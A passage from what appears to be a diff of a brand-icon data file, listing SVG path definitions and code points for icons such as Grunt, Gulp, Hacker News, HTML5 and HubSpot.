0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z" ], + gripfire: [ 384, 512, [], "f3ac", "M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z" ], + grunt: [ 384, 512, [], "f3ad", "M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z" ], + guilded: [ 448, 512, [], "e07e", "M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z" ], + gulp: [ 256, 512, [], "f3ae", "M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z" ], + "hacker-news": [ 448, 512, [], "f1d4", "M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z" ], + "hacker-news-square": [ 448, 512, [], "f3af", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z" ], + hackerrank: [ 512, 512, [], "f5f7", "M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z" ], + hips: [ 640, 512, [], "f452", "M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z" ], + "hire-a-helper": [ 512, 512, [], "f3b0", "M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z" ], + hive: [ 512, 512, [], "e07f", "M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z" ], + hooli: [ 640, 512, [], "f427", "M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z" ], + hornbill: [ 512, 512, [], "f592", "M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z" ], + hotjar: [ 448, 512, [], "f3b1", "M414.9 161.5C340.2 29 121.1 0 121.1 0S222.2 110.4 93 197.7C11.3 252.8-21 324.4 14 402.6c26.8 59.9 83.5 84.3 144.6 93.4-29.2-55.1-6.6-122.4-4.1-129.6 57.1 86.4 165 0 110.8-93.9 71 15.4 81.6 138.6 27.1 215.5 80.5-25.3 134.1-88.9 148.8-145.6 15.5-59.3 3.7-127.9-26.3-180.9z" ], + houzz: [ 448, 512, [], "f27c", "M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z" ], + html5: [ 384, 512, [], "f13b", "M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z" ], + hubspot: [ 512, 512, [], "f3b2", "M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 